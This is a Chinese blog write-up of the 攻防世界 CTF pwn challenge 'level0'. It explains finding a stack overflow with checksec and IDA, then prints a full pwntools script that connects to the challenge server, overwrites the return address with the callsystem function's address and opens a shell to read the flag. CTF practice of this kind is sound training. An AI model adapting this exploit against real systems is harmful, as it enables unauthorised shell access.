攻防世界PWN簡單題 level0
阿新 • • 發佈:2021-08-24
攻防世界PWN簡單題 level0
開始考驗棧溢位的相關知識了
Checksec 一下檔案 看看都開了什麼保護 和 是多少位的程式
發現是64位的程式, 扔進IDA64。IDA YYDS。。
進入主函式,通過虛擬碼分析邏輯,找出棧溢位漏洞
找到了棧溢位漏洞,開始尋找攻擊手段。
找到了攻擊手段。簡單題就是如此簡單。找一下callsystem地址,當然也可以直接用pwntools獲取
找到了需要的地址0X400596
開始寫exp攻擊遠端伺服器
from pwn import * io = remote ('111.200.241.244',49536) #連線遠端 elf = ELF('./291721f42a044f50a2aead748d539df0') #開啟本地程式,如果不想用pwntools獲取callsystem地址,此步可以註釋 payload = b'a'*(0x80+0x8) + p64(elf.symbols['callsystem']) #構造payload 需要覆蓋0x80個地址+上個ebp地址 #也可p64()中替換成0x0x00400596 io.recvuntil("Hello, World\n") #接收遠端的返回 io.send(payload) #傳送payload io.interactive() #開始互動,恭喜你獲得了shell去檢視flag吧
丟進環境,執行一下,ls, cat flag。。。
老師!!!交卷!